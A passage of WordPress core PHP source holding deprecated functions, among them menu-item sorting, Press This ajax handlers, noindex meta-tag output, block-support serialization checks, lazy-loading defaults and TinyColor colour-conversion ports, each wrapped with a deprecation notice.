 * @deprecated 4.7.0 Use wp_list_sort()
 * @access private
 *
 * @param object $a
 * @param object $b
 * @return int
 */
function _usort_terms_by_name( $a, $b ) {
	_deprecated_function( __FUNCTION__, '4.7.0', 'wp_list_sort()' );

	return strcmp( $a->name, $b->name );
}

/**
 * Sort menu items by the desired key.
 *
 * @since 3.0.0
 * @deprecated 4.7.0 Use wp_list_sort()
 * @access private
 *
 * @global string $_menu_item_sort_prop
 *
 * @param object $a The first object to compare
 * @param object $b The second object to compare
 * @return int -1, 0, or 1 if $a is considered to be respectively less than, equal to, or greater than $b.
 */
function _sort_nav_menu_items( $a, $b ) {
	global $_menu_item_sort_prop;

	_deprecated_function( __FUNCTION__, '4.7.0', 'wp_list_sort()' );

	if ( empty( $_menu_item_sort_prop ) )
		return 0;

	if ( ! isset( $a->$_menu_item_sort_prop ) || ! isset( $b->$_menu_item_sort_prop ) )
		return 0;

	$_a = (int) $a->$_menu_item_sort_prop;
	$_b = (int) $b->$_menu_item_sort_prop;

	if ( $a->$_menu_item_sort_prop == $b->$_menu_item_sort_prop )
		return 0;
	elseif ( $_a == $a->$_menu_item_sort_prop && $_b == $b->$_menu_item_sort_prop )
		return $_a < $_b ? -1 : 1;
	else
		return strcmp( $a->$_menu_item_sort_prop, $b->$_menu_item_sort_prop );
}

/**
 * Retrieves the Press This bookmarklet link.
 *
 * @since 2.6.0
 * @deprecated 4.9.0
 * @return string
 */
function get_shortcut_link() {
	_deprecated_function( __FUNCTION__, '4.9.0' );

	$link = '';

	/**
	 * Filters the Press This bookmarklet link.
	 *
	 * @since 2.6.0
	 * @deprecated 4.9.0
	 *
	 * @param string $link The Press This bookmarklet link.
	 */
	return apply_filters( 'shortcut_link', $link );
}

/**
 * Ajax handler for saving a post from Press This.
 *
 * @since 4.2.0
 * @deprecated 4.9.0
 */
function wp_ajax_press_this_save_post() {
	_deprecated_function( __FUNCTION__, '4.9.0' );
	if ( is_plugin_active( 'press-this/press-this-plugin.php' ) ) {
		include WP_PLUGIN_DIR . '/press-this/class-wp-press-this-plugin.php';
		$wp_press_this = new WP_Press_This_Plugin();
		$wp_press_this->save_post();
	} else {
		wp_send_json_error( array( 'errorMessage' => __( 'The Press This plugin is required.' ) ) );
	}
}

/**
 * Ajax handler for creating new category from Press This.
 *
 * @since 4.2.0
 * @deprecated 4.9.0
 */
function wp_ajax_press_this_add_category() {
	_deprecated_function( __FUNCTION__, '4.9.0' );
	if ( is_plugin_active( 'press-this/press-this-plugin.php' ) ) {
		include WP_PLUGIN_DIR . '/press-this/class-wp-press-this-plugin.php';
		$wp_press_this = new WP_Press_This_Plugin();
		$wp_press_this->add_category();
	} else {
		wp_send_json_error( array( 'errorMessage' => __( 'The Press This plugin is required.' ) ) );
	}
}

/**
 * Return the user request object for the specified request ID.
 *
 * @since 4.9.6
 * @deprecated 5.4.0 Use wp_get_user_request()
 * @see wp_get_user_request()
 *
 * @param int $request_id The ID of the user request.
 * @return WP_User_Request|false
 */
function wp_get_user_request_data( $request_id ) {
	_deprecated_function( __FUNCTION__, '5.4.0', 'wp_get_user_request()' );
	return wp_get_user_request( $request_id );
}

/**
 * Filters 'img' elements in post content to add 'srcset' and 'sizes' attributes.
 *
 * @since 4.4.0
 * @deprecated 5.5.0
 *
 * @see wp_image_add_srcset_and_sizes()
 *
 * @param string $content The raw post content to be filtered.
 * @return string Converted content with 'srcset' and 'sizes' attributes added to images.
 */
function wp_make_content_images_responsive( $content ) {
	_deprecated_function( __FUNCTION__, '5.5.0', 'wp_filter_content_tags()' );

	// This will also add the `loading` attribute to `img` tags, if enabled.
	return wp_filter_content_tags( $content );
}

/**
 * Turn register globals off.
 *
 * @since 2.1.0
 * @access private
 * @deprecated 5.5.0
 */
function wp_unregister_GLOBALS() {
	// register_globals was deprecated in PHP 5.3 and removed entirely in PHP 5.4.
	_deprecated_function( __FUNCTION__, '5.5.0' );
}

/**
 * Does comment contain disallowed characters or words.
 *
 * @since 1.5.0
 * @deprecated 5.5.0 Use wp_check_comment_disallowed_list() instead.
 *                   Please consider writing more inclusive code.
 *
 * @param string $author The author of the comment
 * @param string $email The email of the comment
 * @param string $url The url used in the comment
 * @param string $comment The comment content
 * @param string $user_ip The comment author's IP address
 * @param string $user_agent The author's browser user agent
 * @return bool True if comment contains disallowed content, false if comment does not
 */
function wp_blacklist_check( $author, $email, $url, $comment, $user_ip, $user_agent ) {
	_deprecated_function( __FUNCTION__, '5.5.0', 'wp_check_comment_disallowed_list()' );

	return wp_check_comment_disallowed_list( $author, $email, $url, $comment, $user_ip, $user_agent );
}

/**
 * Filters out `register_meta()` args based on an allowed list.
 *
 * `register_meta()` args may change over time, so requiring the allowed list
 * to be explicitly turned off is a warranty seal of sorts.
 *
 * @access private
 * @since 4.6.0
 * @deprecated 5.5.0 Use _wp_register_meta_args_allowed_list() instead.
 *                   Please consider writing more inclusive code.
 *
 * @param array $args         Arguments from `register_meta()`.
 * @param array $default_args Default arguments for `register_meta()`.
 * @return array Filtered arguments.
 */
function _wp_register_meta_args_whitelist( $args, $default_args ) {
	_deprecated_function( __FUNCTION__, '5.5.0', '_wp_register_meta_args_allowed_list()' );

	return _wp_register_meta_args_allowed_list( $args, $default_args );
}

/**
 * Adds an array of options to the list of allowed options.
 *
 * @since 2.7.0
 * @deprecated 5.5.0 Use add_allowed_options() instead.
 *                   Please consider writing more inclusive code.
 *
 * @param array        $new_options
 * @param string|array $options
 * @return array
 */
function add_option_whitelist( $new_options, $options = '' ) {
	_deprecated_function( __FUNCTION__, '5.5.0', 'add_allowed_options()' );

	return add_allowed_options( $new_options, $options );
}

/**
 * Removes a list of options from the allowed options list.
 *
 * @since 2.7.0
 * @deprecated 5.5.0 Use remove_allowed_options() instead.
 *                   Please consider writing more inclusive code.
 *
 * @param array        $del_options
 * @param string|array $options
 * @return array
 */
function remove_option_whitelist( $del_options, $options = '' ) {
	_deprecated_function( __FUNCTION__, '5.5.0', 'remove_allowed_options()' );

	return remove_allowed_options( $del_options, $options );
}

/**
 * Adds slashes to only string values in an array of values.
 *
 * This should be used when preparing data for core APIs that expect slashed data.
 * This should not be used to escape data going directly into an SQL query.
 *
 * @since 5.3.0
 * @deprecated 5.6.0 Use wp_slash()
 *
 * @see wp_slash()
 *
 * @param mixed $value Scalar or array of scalars.
 * @return mixed Slashes $value
 */
function wp_slash_strings_only( $value ) {
	return map_deep( $value, 'addslashes_strings_only' );
}

/**
 * Adds slashes only if the provided value is a string.
 *
 * @since 5.3.0
 * @deprecated 5.6.0
 *
 * @see wp_slash()
 *
 * @param mixed $value
 * @return mixed
 */
function addslashes_strings_only( $value ) {
	return is_string( $value ) ? addslashes( $value ) : $value;
}

/**
 * Displays a `noindex` meta tag if required by the blog configuration.
 *
 * If a blog is marked as not being public then the `noindex` meta tag will be
 * output to tell web robots not to index the page content.
 *
 * Typical usage is as a {@see 'wp_head'} callback:
 *
 *     add_action( 'wp_head', 'noindex' );
 *
 * @see wp_no_robots()
 *
 * @since 2.1.0
 * @deprecated 5.7.0 Use wp_robots_noindex() instead on 'wp_robots' filter.
 */
function noindex() {
	_deprecated_function( __FUNCTION__, '5.7.0', 'wp_robots_noindex()' );

	// If the blog is not public, tell robots to go away.
	if ( '0' == get_option( 'blog_public' ) ) {
		wp_no_robots();
	}
}

/**
 * Display a `noindex` meta tag.
 *
 * Outputs a `noindex` meta tag that tells web robots not to index the page content.
 *
 * Typical usage is as a {@see 'wp_head'} callback:
 *
 *     add_action( 'wp_head', 'wp_no_robots' );
 *
 * @since 3.3.0
 * @since 5.3.0 Echo `noindex,nofollow` if search engine visibility is discouraged.
 * @deprecated 5.7.0 Use wp_robots_no_robots() instead on 'wp_robots' filter.
 */
function wp_no_robots() {
	_deprecated_function( __FUNCTION__, '5.7.0', 'wp_robots_no_robots()' );

	if ( get_option( 'blog_public' ) ) {
		echo "<meta name='robots' content='noindex,follow' />\n";
		return;
	}

	echo "<meta name='robots' content='noindex,nofollow' />\n";
}

/**
 * Display a `noindex,noarchive` meta tag and referrer `strict-origin-when-cross-origin` meta tag.
 *
 * Outputs a `noindex,noarchive` meta tag that tells web robots not to index or cache the page content.
 * Outputs a referrer `strict-origin-when-cross-origin` meta tag that tells the browser not to send
 * the full URL as a referrer to other sites when cross-origin assets are loaded.
 *
 * Typical usage is as a {@see 'wp_head'} callback:
 *
 *     add_action( 'wp_head', 'wp_sensitive_page_meta' );
 *
 * @since 5.0.1
 * @deprecated 5.7.0 Use wp_robots_sensitive_page() instead on 'wp_robots' filter
 *                   and wp_strict_cross_origin_referrer() on 'wp_head' action.
 *
 * @see wp_robots_sensitive_page()
 */
function wp_sensitive_page_meta() {
	_deprecated_function( __FUNCTION__, '5.7.0', 'wp_robots_sensitive_page()' );

	?>
	<meta name='robots' content='noindex,noarchive' />
	<?php
	wp_strict_cross_origin_referrer();
}

/**
 * Render inner blocks from the `core/columns` block for generating an excerpt.
 *
 * @since 5.2.0
 * @access private
 * @deprecated 5.8.0 Use _excerpt_render_inner_blocks() introduced in 5.8.0.
 *
 * @see _excerpt_render_inner_blocks()
 *
 * @param array $columns        The parsed columns block.
 * @param array $allowed_blocks The list of allowed inner blocks.
 * @return string The rendered inner blocks.
 */
function _excerpt_render_inner_columns_blocks( $columns, $allowed_blocks ) {
	_deprecated_function( __FUNCTION__, '5.8.0', '_excerpt_render_inner_blocks()' );

	return _excerpt_render_inner_blocks( $columns, $allowed_blocks );
}

/**
 * Renders the duotone filter SVG and returns the CSS filter property to
 * reference the rendered SVG.
 *
 * @since 5.9.0
 * @deprecated 5.9.1 Use wp_get_duotone_filter_property() introduced in 5.9.1.
 *
 * @see wp_get_duotone_filter_property()
 *
 * @param array $preset Duotone preset value as seen in theme.json.
 * @return string Duotone CSS filter property.
 */
function wp_render_duotone_filter_preset( $preset ) {
	_deprecated_function( __FUNCTION__, '5.9.1', 'wp_get_duotone_filter_property()' );

	return wp_get_duotone_filter_property( $preset );
}

/**
 * Checks whether serialization of the current block's border properties should occur.
 *
 * @since 5.8.0
 * @access private
 * @deprecated 6.0.0 Use wp_should_skip_block_supports_serialization() introduced in 6.0.0.
 *
 * @see wp_should_skip_block_supports_serialization()
 *
 * @param WP_Block_Type $block_type Block type.
 * @return bool Whether serialization of the current block's border properties
 *              should occur.
 */
function wp_skip_border_serialization( $block_type ) {
	_deprecated_function( __FUNCTION__, '6.0.0', 'wp_should_skip_block_supports_serialization()' );

	$border_support = isset( $block_type->supports['__experimentalBorder'] )
		? $block_type->supports['__experimentalBorder']
		: false;

	return is_array( $border_support ) &&
		array_key_exists( '__experimentalSkipSerialization', $border_support ) &&
		$border_support['__experimentalSkipSerialization'];
}

/**
 * Checks whether serialization of the current block's dimensions properties should occur.
 *
 * @since 5.9.0
 * @access private
 * @deprecated 6.0.0 Use wp_should_skip_block_supports_serialization() introduced in 6.0.0.
 *
 * @see wp_should_skip_block_supports_serialization()
 *
 * @param WP_Block_type $block_type Block type.
 * @return bool Whether to serialize spacing support styles & classes.
 */
function wp_skip_dimensions_serialization( $block_type ) {
	_deprecated_function( __FUNCTION__, '6.0.0', 'wp_should_skip_block_supports_serialization()' );

	$dimensions_support = isset( $block_type->supports['__experimentalDimensions'] )
		? $block_type->supports['__experimentalDimensions']
		: false;

	return is_array( $dimensions_support ) &&
		array_key_exists( '__experimentalSkipSerialization', $dimensions_support ) &&
		$dimensions_support['__experimentalSkipSerialization'];
}

/**
 * Checks whether serialization of the current block's spacing properties should occur.
 *
 * @since 5.9.0
 * @access private
 * @deprecated 6.0.0 Use wp_should_skip_block_supports_serialization() introduced in 6.0.0.
 *
 * @see wp_should_skip_block_supports_serialization()
 *
 * @param WP_Block_Type $block_type Block type.
 * @return bool Whether to serialize spacing support styles & classes.
 */
function wp_skip_spacing_serialization( $block_type ) {
	_deprecated_function( __FUNCTION__, '6.0.0', 'wp_should_skip_block_supports_serialization()' );

	$spacing_support = isset( $block_type->supports['spacing'] )
		? $block_type->supports['spacing']
		: false;

	return is_array( $spacing_support ) &&
		array_key_exists( '__experimentalSkipSerialization', $spacing_support ) &&
		$spacing_support['__experimentalSkipSerialization'];
}

/**
 * Inject the block editor assets that need to be loaded into the editor's iframe as an inline script.
 *
 * @since 5.8.0
 * @deprecated 6.0.0
 */
function wp_add_iframed_editor_assets_html() {
	_deprecated_function( __FUNCTION__, '6.0.0' );
}

/**
 * Retrieves thumbnail for an attachment.
 * Note that this works only for the (very) old image metadata style where 'thumb' was set,
 * and the 'sizes' array did not exist. This function returns false for the newer image metadata style
 * despite that 'thumbnail' is present in the 'sizes' array.
 *
 * @since 2.1.0
 * @deprecated 6.1.0
 *
 * @param int $post_id Optional. Attachment ID. Default is the ID of the global `$post`.
 * @return string|false Thumbnail file path on success, false on failure.
 */
function wp_get_attachment_thumb_file( $post_id = 0 ) {
	_deprecated_function( __FUNCTION__, '6.1.0' );

	$post_id = (int) $post_id;
	$post    = get_post( $post_id );

	if ( ! $post ) {
		return false;
	}

	// Use $post->ID rather than $post_id as get_post() may have used the global $post object.
	$imagedata = wp_get_attachment_metadata( $post->ID );

	if ( ! is_array( $imagedata ) ) {
		return false;
	}

	$file = get_attached_file( $post->ID );

	if ( ! empty( $imagedata['thumb'] ) ) {
		$thumbfile = str_replace( wp_basename( $file ), $imagedata['thumb'], $file );
		if ( file_exists( $thumbfile ) ) {
			/**
			 * Filters the attachment thumbnail file path.
			 *
			 * @since 2.1.0
			 *
			 * @param string $thumbfile File path to the attachment thumbnail.
			 * @param int    $post_id   Attachment ID.
			 */
			return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
		}
	}

	return false;
}

/**
 * Gets the path to a translation file for loading a textdomain just in time.
 *
 * Caches the retrieved results internally.
 *
 * @since 4.7.0
 * @deprecated 6.1.0
 * @access private
 *
 * @see _load_textdomain_just_in_time()
 *
 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
 * @param bool   $reset  Whether to reset the internal cache. Used by the switch to locale functionality.
 * @return string|false The path to the translation file or false if no translation file was found.
 */
function _get_path_to_translation( $domain, $reset = false ) {
	_deprecated_function( __FUNCTION__, '6.1.0', 'WP_Textdomain_Registry' );

	static $available_translations = array();

	if ( true === $reset ) {
		$available_translations = array();
	}

	if ( ! isset( $available_translations[ $domain ] ) ) {
		$available_translations[ $domain ] = _get_path_to_translation_from_lang_dir( $domain );
	}

	return $available_translations[ $domain ];
}

/**
 * Gets the path to a translation file in the languages directory for the current locale.
 *
 * Holds a cached list of available .mo files to improve performance.
 *
 * @since 4.7.0
 * @deprecated 6.1.0
 * @access private
 *
 * @see _get_path_to_translation()
 *
 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
 * @return string|false The path to the translation file or false if no translation file was found.
 */
function _get_path_to_translation_from_lang_dir( $domain ) {
	_deprecated_function( __FUNCTION__, '6.1.0', 'WP_Textdomain_Registry' );

	static $cached_mofiles = null;

	if ( null === $cached_mofiles ) {
		$cached_mofiles = array();

		$locations = array(
			WP_LANG_DIR . '/plugins',
			WP_LANG_DIR . '/themes',
		);

		foreach ( $locations as $location ) {
			$mofiles = glob( $location . '/*.mo' );
			if ( $mofiles ) {
				$cached_mofiles = array_merge( $cached_mofiles, $mofiles );
			}
		}
	}

	$locale = determine_locale();
	$mofile = "{$domain}-{$locale}.mo";

	$path = WP_LANG_DIR . '/plugins/' . $mofile;
	if ( in_array( $path, $cached_mofiles, true ) ) {
		return $path;
	}

	$path = WP_LANG_DIR . '/themes/' . $mofile;
	if ( in_array( $path, $cached_mofiles, true ) ) {
		return $path;
	}

	return false;
}

/**
 * Allows multiple block styles.
 *
 * @since 5.9.0
 * @deprecated 6.1.0
 *
 * @param array $metadata Metadata for registering a block type.
 * @return array Metadata for registering a block type.
 */
function _wp_multiple_block_styles( $metadata ) {
	_deprecated_function( __FUNCTION__, '6.1.0' );
	return $metadata;
}

/**
 * Generates an inline style for a typography feature e.g. text decoration,
 * text transform, and font style.
 *
 * @since 5.8.0
 * @access private
 * @deprecated 6.1.0 Use wp_style_engine_get_styles() introduced in 6.1.0.
 *
 * @see wp_style_engine_get_styles()
 *
 * @param array  $attributes   Block's attributes.
 * @param string $feature      Key for the feature within the typography styles.
 * @param string $css_property Slug for the CSS property the inline style sets.
 * @return string CSS inline style.
 */
function wp_typography_get_css_variable_inline_style( $attributes, $feature, $css_property ) {
	_deprecated_function( __FUNCTION__, '6.1.0', 'wp_style_engine_get_styles()' );

	// Retrieve current attribute value or skip if not found.
	$style_value = _wp_array_get( $attributes, array( 'style', 'typography', $feature ), false );
	if ( ! $style_value ) {
		return;
	}

	// If we don't have a preset CSS variable, we'll assume it's a regular CSS value.
	if ( ! str_contains( $style_value, "var:preset|{$css_property}|" ) ) {
		return sprintf( '%s:%s;', $css_property, $style_value );
	}

	/*
	 * We have a preset CSS variable as the style.
	 * Get the style value from the string and return CSS style.
	 */
	$index_to_splice = strrpos( $style_value, '|' ) + 1;
	$slug            = substr( $style_value, $index_to_splice );

	// Return the actual CSS inline style e.g. `text-decoration:var(--wp--preset--text-decoration--underline);`.
	return sprintf( '%s:var(--wp--preset--%s--%s);', $css_property, $css_property, $slug );
}

/**
 * Determines whether global terms are enabled.
 *
 * @since 3.0.0
 * @since 6.1.0 This function now always returns false.
 * @deprecated 6.1.0
 *
 * @return bool Always returns false.
 */
function global_terms_enabled() {
	_deprecated_function( __FUNCTION__, '6.1.0' );

	return false;
}

/**
 * Filter the SQL clauses of an attachment query to include filenames.
 *
 * @since 4.7.0
 * @deprecated 6.0.3
 * @access private
 *
 * @param array $clauses An array including WHERE, GROUP BY, JOIN, ORDER BY,
 *                       DISTINCT, fields (SELECT), and LIMITS clauses.
 * @return array The unmodified clauses.
 */
function _filter_query_attachment_filenames( $clauses ) {
	_deprecated_function( __FUNCTION__, '6.0.3', 'add_filter( "wp_allow_query_attachment_by_filename", "__return_true" )' );
	remove_filter( 'posts_clauses', __FUNCTION__ );
	return $clauses;
}

/**
 * Retrieves a page given its title.
 *
 * If more than one post uses the same title, the post with the smallest ID will be returned.
 * Be careful: in case of more than one post having the same title, it will check the oldest
 * publication date, not the smallest ID.
 *
 * Because this function uses the MySQL '=' comparison, $page_title will usually be matched
 * as case-insensitive with default collation.
 *
 * @since 2.1.0
 * @since 3.0.0 The `$post_type` parameter was added.
 * @deprecated 6.2.0 Use WP_Query.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string       $page_title Page title.
 * @param string       $output     Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                                 correspond to a WP_Post object, an associative array, or a numeric array,
 *                                 respectively. Default OBJECT.
 * @param string|array $post_type  Optional. Post type or array of post types. Default 'page'.
 * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
 */
function get_page_by_title( $page_title, $output = OBJECT, $post_type = 'page' ) {
	_deprecated_function( __FUNCTION__, '6.2.0', 'WP_Query' );
	global $wpdb;

	if ( is_array( $post_type ) ) {
		$post_type           = esc_sql( $post_type );
		$post_type_in_string = "'" . implode( "','", $post_type ) . "'";
		$sql                 = $wpdb->prepare(
			"SELECT ID
			FROM $wpdb->posts
			WHERE post_title = %s
			AND post_type IN ($post_type_in_string)",
			$page_title
		);
	} else {
		$sql = $wpdb->prepare(
			"SELECT ID
			FROM $wpdb->posts
			WHERE post_title = %s
			AND post_type = %s",
			$page_title,
			$post_type
		);
	}

	$page = $wpdb->get_var( $sql );

	if ( $page ) {
		return get_post( $page, $output );
	}

	return null;
}

/**
 * Returns the correct template for the site's home page.
 *
 * @access private
 * @since 6.0.0
 * @deprecated 6.2.0 Site Editor's server-side redirect for missing postType and postId
 *                   query args is removed. Thus, this function is no longer used.
 *
 * @return array|null A template object, or null if none could be found.
 */
function _resolve_home_block_template() {
	_deprecated_function( __FUNCTION__, '6.2.0' );

	$show_on_front = get_option( 'show_on_front' );
	$front_page_id = get_option( 'page_on_front' );

	if ( 'page' === $show_on_front && $front_page_id ) {
		return array(
				'postType' => 'page',
				'postId'   => $front_page_id,
		);
	}

	$hierarchy = array( 'front-page', 'home', 'index' );
	$template  = resolve_block_template( 'home', $hierarchy, '' );

	if ( ! $template ) {
		return null;
	}

	return array(
			'postType' => 'wp_template',
			'postId'   => $template->id,
	);
}

/**
 * Displays the link to the Windows Live Writer manifest file.
 *
 * @link https://msdn.microsoft.com/en-us/library/bb463265.aspx
 * @since 2.3.1
 * @deprecated 6.3.0 WLW manifest is no longer in use and no longer included in core,
 *                   so the output from this function is removed.
 */
function wlwmanifest_link() {
	_deprecated_function( __FUNCTION__, '6.3.0' );
}

/**
 * Queues comments for metadata lazy-loading.
 *
 * @since 4.5.0
 * @deprecated 6.3.0 Use wp_lazyload_comment_meta() instead.
 *
 * @param WP_Comment[] $comments Array of comment objects.
 */
function wp_queue_comments_for_comment_meta_lazyload( $comments ) {
	_deprecated_function( __FUNCTION__, '6.3.0', 'wp_lazyload_comment_meta()' );
	// Don't use `wp_list_pluck()` to avoid by-reference manipulation.
	$comment_ids = array();
	if ( is_array( $comments ) ) {
		foreach ( $comments as $comment ) {
			if ( $comment instanceof WP_Comment ) {
				$comment_ids[] = $comment->comment_ID;
			}
		}
	}

	wp_lazyload_comment_meta( $comment_ids );
}

/**
 * Gets the default value to use for a `loading` attribute on an element.
 *
 * This function should only be called for a tag and context if lazy-loading is generally enabled.
 *
 * The function usually returns 'lazy', but uses certain heuristics to guess whether the current element is likely to
 * appear above the fold, in which case it returns a boolean `false`, which will lead to the `loading` attribute being
 * omitted on the element. The purpose of this refinement is to avoid lazy-loading elements that are within the initial
 * viewport, which can have a negative performance impact.
 *
 * Under the hood, the function uses {@see wp_increase_content_media_count()} every time it is called for an element
 * within the main content. If the element is the very first content element, the `loading` attribute will be omitted.
 * This default threshold of 3 content elements to omit the `loading` attribute for can be customized using the
 * {@see 'wp_omit_loading_attr_threshold'} filter.
 *
 * @since 5.9.0
 * @deprecated 6.3.0 Use wp_get_loading_optimization_attributes() instead.
 * @see wp_get_loading_optimization_attributes()
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string $context Context for the element for which the `loading` attribute value is requested.
 * @return string|bool The default `loading` attribute value. Either 'lazy', 'eager', or a boolean `false`, to indicate
 *                     that the `loading` attribute should be skipped.
 */
function wp_get_loading_attr_default( $context ) {
	_deprecated_function( __FUNCTION__, '6.3.0', 'wp_get_loading_optimization_attributes()' );
	global $wp_query;

	// Skip lazy-loading for the overall block template, as it is handled more granularly.
	if ( 'template' === $context ) {
		return false;
	}

	/*
	 * Do not lazy-load images in the header block template part, as they are likely above the fold.
	 * For classic themes, this is handled in the condition below using the 'get_header' action.
	 */
	$header_area = WP_TEMPLATE_PART_AREA_HEADER;
	if ( "template_part_{$header_area}" === $context ) {
		return false;
	}

	// Special handling for programmatically created image tags.
	if ( 'the_post_thumbnail' === $context || 'wp_get_attachment_image' === $context ) {
		/*
		 * Skip programmatically created images within post content as they need to be handled together with the other
		 * images within the post content.
		 * Without this clause, they would already be counted below which skews the number and can result in the first
		 * post content image being lazy-loaded only because there are images elsewhere in the post content.
		 */
		if ( doing_filter( 'the_content' ) ) {
			return false;
		}

		// Conditionally skip lazy-loading on images before the loop.
		if (
			// Only apply for main query but before the loop.
			$wp_query->before_loop && $wp_query->is_main_query()
			/*
			 * Any image before the loop, but after the header has started should not be lazy-loaded,
			 * except when the footer has already started which can happen when the current template
			 * does not include any loop.
			 */
			&& did_action( 'get_header' ) && ! did_action( 'get_footer' )
		) {
			return false;
		}
	}

	/*
	 * The first elements in 'the_content' or 'the_post_thumbnail' should not be lazy-loaded,
	 * as they are likely above the fold.
	 */
	if ( 'the_content' === $context || 'the_post_thumbnail' === $context ) {
		// Only elements within the main query loop have special handling.
		if ( is_admin() || ! in_the_loop() || ! is_main_query() ) {
			return 'lazy';
		}

		// Increase the counter since this is a main query content element.
		$content_media_count = wp_increase_content_media_count();

		// If the count so far is below the threshold, return `false` so that the `loading` attribute is omitted.
		if ( $content_media_count <= wp_omit_loading_attr_threshold() ) {
			return false;
		}

		// For elements after the threshold, lazy-load them as usual.
		return 'lazy';
	}

	// Lazy-load by default for any unknown context.
	return 'lazy';
}

/**
 * Adds `loading` attribute to an `img` HTML tag.
 *
 * @since 5.5.0
 * @deprecated 6.3.0 Use wp_img_tag_add_loading_optimization_attrs() instead.
 * @see wp_img_tag_add_loading_optimization_attrs()
 *
 * @param string $image   The HTML `img` tag where the attribute should be added.
 * @param string $context Additional context to pass to the filters.
 * @return string Converted `img` tag with `loading` attribute added.
 */
function wp_img_tag_add_loading_attr( $image, $context ) {
	_deprecated_function( __FUNCTION__, '6.3.0', 'wp_img_tag_add_loading_optimization_attrs()' );
	/*
	 * Get loading attribute value to use. This must occur before the conditional check below so that even images that
	 * are ineligible for being lazy-loaded are considered.
	 */
	$value = wp_get_loading_attr_default( $context );

	// Images should have source and dimension attributes for the `loading` attribute to be added.
	if ( ! str_contains( $image, ' src="' ) || ! str_contains( $image, ' width="' ) || ! str_contains( $image, ' height="' ) ) {
		return $image;
	}

	/** This filter is documented in wp-admin/includes/media.php */
	$value = apply_filters( 'wp_img_tag_add_loading_attr', $value, $image, $context );

	if ( $value ) {
		if ( ! in_array( $value, array( 'lazy', 'eager' ), true ) ) {
			$value = 'lazy';
		}

		return str_replace( '<img', '<img loading="' . esc_attr( $value ) . '"', $image );
	}

	return $image;
}

/**
 * Takes input from [0, n] and returns it as [0, 1].
 *
 * Direct port of TinyColor's function, lightly simplified to maintain
 * consistency with TinyColor.
 *
 * @link https://github.com/bgrins/TinyColor
 *
 * @since 5.8.0
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param mixed $n   Number of unknown type.
 * @param int   $max Upper value of the range to bound to.
 * @return float Value in the range [0, 1].
 */
function wp_tinycolor_bound01( $n, $max ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );
	if ( 'string' === gettype( $n ) && str_contains( $n, '.' ) && 1 === (float) $n ) {
		$n = '100%';
	}

	$n = min( $max, max( 0, (float) $n ) );

	// Automatically convert percentage into number.
	if ( 'string' === gettype( $n ) && str_contains( $n, '%' ) ) {
		$n = (int) ( $n * $max ) / 100;
	}

	// Handle floating point rounding errors.
	if ( ( abs( $n - $max ) < 0.000001 ) ) {
		return 1.0;
	}

	// Convert into [0, 1] range if it isn't already.
	return ( $n % $max ) / (float) $max;
}

/**
 * Direct port of tinycolor's boundAlpha function to maintain consistency with
 * how tinycolor works.
 *
 * @link https://github.com/bgrins/TinyColor
 *
 * @since 5.9.0
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param mixed $n Number of unknown type.
 * @return float Value in the range [0,1].
 */
function _wp_tinycolor_bound_alpha( $n ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );

	if ( is_numeric( $n ) ) {
		$n = (float) $n;
		if ( $n >= 0 && $n <= 1 ) {
			return $n;
		}
	}
	return 1;
}

/**
 * Rounds and converts values of an RGB object.
 *
 * Direct port of TinyColor's function, lightly simplified to maintain
 * consistency with TinyColor.
 *
 * @link https://github.com/bgrins/TinyColor
 *
 * @since 5.8.0
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param array $rgb_color RGB object.
 * @return array Rounded and converted RGB object.
 */
function wp_tinycolor_rgb_to_rgb( $rgb_color ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );

	return array(
		'r' => wp_tinycolor_bound01( $rgb_color['r'], 255 ) * 255,
		'g' => wp_tinycolor_bound01( $rgb_color['g'], 255 ) * 255,
		'b' => wp_tinycolor_bound01( $rgb_color['b'], 255 ) * 255,
	);
}

/**
 * Helper function for hsl to rgb conversion.
 *
 * Direct port of TinyColor's function, lightly simplified to maintain
 * consistency with TinyColor.
 *
 * @link https://github.com/bgrins/TinyColor
 *
 * @since 5.8.0
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param float $p first component.
 * @param float $q second component.
 * @param float $t third component.
 * @return float R, G, or B component.
 */
function wp_tinycolor_hue_to_rgb( $p, $q, $t ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );

	if ( $t < 0 ) {
		++$t;
	}
	if ( $t > 1 ) {
		--$t;
	}
	if ( $t < 1 / 6 ) {
		return $p + ( $q - $p ) * 6 * $t;
	}
	if ( $t < 1 / 2 ) {
		return $q;
	}
	if ( $t < 2 / 3 ) {
		return $p + ( $q - $p ) * ( 2 / 3 - $t ) * 6;
	}
	return $p;
}

/**
 * Converts an HSL object to an RGB object with converted and rounded values.
 *
 * Direct port of TinyColor's function, lightly simplified to maintain
 * consistency with TinyColor.
 *
 * @link https://github.com/bgrins/TinyColor
 *
 * @since 5.8.0
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param array $hsl_color HSL object.
 * @return array Rounded and converted RGB object.
 */
function wp_tinycolor_hsl_to_rgb( $hsl_color ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );

	$h = wp_tinycolor_bound01( $hsl_color['h'], 360 );
	$s = wp_tinycolor_bound01( $hsl_color['s'], 100 );
	$l = wp_tinycolor_bound01( $hsl_color['l'], 100 );

	if ( 0 === $s ) {
		// Achromatic.
		$r = $l;
		$g = $l;
		$b = $l;
	} else {
		$q = $l < 0.5 ? $l * ( 1 + $s ) : $l + $s - $l * $s;
		$p = 2 * $l - $q;
		$r = wp_tinycolor_hue_to_rgb( $p, $q, $h + 1 / 3 );
		$g = wp_tinycolor_hue_to_rgb( $p, $q, $h );
		$b = wp_tinycolor_hue_to_rgb( $p, $q, $h - 1 / 3 );
	}

	return array(
		'r' => $r * 255,
		'g' => $g * 255,
		'b' => $b * 255,
	);
}

/**
 * Parses hex, hsl, and rgb CSS strings using the same regex as TinyColor v1.4.2
 * used in the JavaScript. Only colors output from react-color are implemented.
 *
